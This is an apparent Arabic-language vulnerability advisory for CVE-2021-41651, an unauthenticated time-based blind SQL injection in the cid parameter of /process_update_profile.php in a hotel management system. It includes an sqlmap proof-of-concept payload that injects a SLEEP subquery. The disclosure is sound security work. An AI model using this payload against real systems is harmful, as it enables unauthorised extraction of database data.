CVE-2021-41651

CVE-2021-41651: حقن SQL في نظام hotel-mgmt-system

نظام hotel-mgmt-system معرّض لهجوم حقن SQL أعمى قائم على الوقت دون مصادقة.

معامل cid في الصفحة /process_update_profile.php لا يعقّم مدخلات المستخدم، ويمكن للمهاجم استخراج بيانات حساسة من قاعدة بيانات MySQL الأساسية.

رابط التطبيق

hotel-mgmt-system

المكوّنات والمعامل المتأثرة

المسار: /process_update_profile.php
المعامل: cid

إثباتات الاختراق

حمولات SQLMAP

معامل cid في الصفحة /process_update_profile.php

Parameter: cid ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: phone=123456778&cid=14 AND (SELECT 9048 FROM (SELECT(SLEEP(5)))zCfD)-- IKdVf&submitBtn=Update&fullName=James&[email protected]&newPassword=fasdfasdfasdfasdfasdf-

CVE-2021-41651

الأكثر شعبية

إذا كانت صورة إثبات الاختراق غير واضحة، يرجى النقر على الـ GIF وستُحمَّل بدقة أفضل.

تم اكتشافها بواسطة